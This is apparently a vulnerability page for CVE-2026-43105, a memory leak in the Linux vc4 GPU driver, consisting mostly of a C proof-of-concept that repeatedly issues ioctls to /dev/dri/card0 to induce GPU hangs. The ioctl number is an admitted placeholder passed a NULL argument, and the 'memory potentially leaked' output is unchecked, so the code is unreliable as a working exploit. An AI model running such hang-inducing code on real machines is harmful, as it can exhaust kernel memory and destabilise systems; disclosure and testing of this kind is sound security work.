CVE-2026-43105: Linux内核vc4驱动内存泄漏漏洞

/* * PoC for CVE-2026-43105 (Memory Leak in vc4 driver) * This code attempts to trigger the memory leak by inducing GPU hangs. * Note: Actual exploitation requires specific hardware and triggering conditions. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/dri/card0" // Placeholder for the ioctl command that submits rendering #define DRM_IOCTL_VC4_SUBMIT_CL 0x40 int main() { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting PoC to trigger memory leak in vc4 hang state...\n"); // Loop to repeatedly trigger the hang state and leak memory for (int i = 0; i < 1000; i++) { // In a real scenario, this would send commands causing a GPU hang // leading to vc4_save_hang_state being called. if (ioctl(fd, DRM_IOCTL_VC4_SUBMIT_CL, NULL) < 0) { // Ignore errors for PoC demonstration } if (i % 100 == 0) { printf("Iteration %d: Memory potentially leaked.\n", i); } usleep(10000); // Small delay to allow system stability } close(fd); printf("PoC completed. Check kernel memory usage for leaks.\n"); return 0; }